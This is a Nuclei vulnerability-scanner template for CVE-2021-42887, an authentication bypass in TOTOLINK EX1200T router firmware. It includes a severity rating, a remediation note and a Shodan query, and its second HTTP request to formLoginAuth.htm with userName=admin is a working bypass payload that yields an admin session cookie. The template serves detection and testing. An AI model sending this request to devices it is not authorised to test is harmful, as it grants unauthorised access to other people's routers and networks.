nuclei-templates/http/cves/2021/CVE-2021-42887.yaml

56 lines
2.0 KiB
YAML

id: CVE-2021-42887
info:
name: TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass
author: gy741
severity: critical
description: |
TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to gain unauthorized access to the device, potentially leading to further compromise of the network.
remediation: |
Apply the latest firmware update provided by TOTOLINK to fix the authentication bypass vulnerability.
reference:
- https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
- https://nvd.nist.gov/vuln/detail/cve-2021-42887
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-42887
cwe-id: CWE-287
epss-score: 0.08034
epss-percentile: 0.9414
cpe: cpe:2.3:o:totolink:ex1200t_firmware:4.1.2cu.5215:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: totolink
product: ex1200t_firmware
shodan-query: title:"TOTOLINK"
tags: cve2021,cve,totolink,auth-bypass,router
http:
- raw:
- |
GET /login.htm HTTP/1.1
Host: {{Hostname}}
- |
GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- "TOTOLINK"
- type: word
part: header_2
words:
- "Set-Cookie: SESSION_ID="
- type: status
status:
- 302
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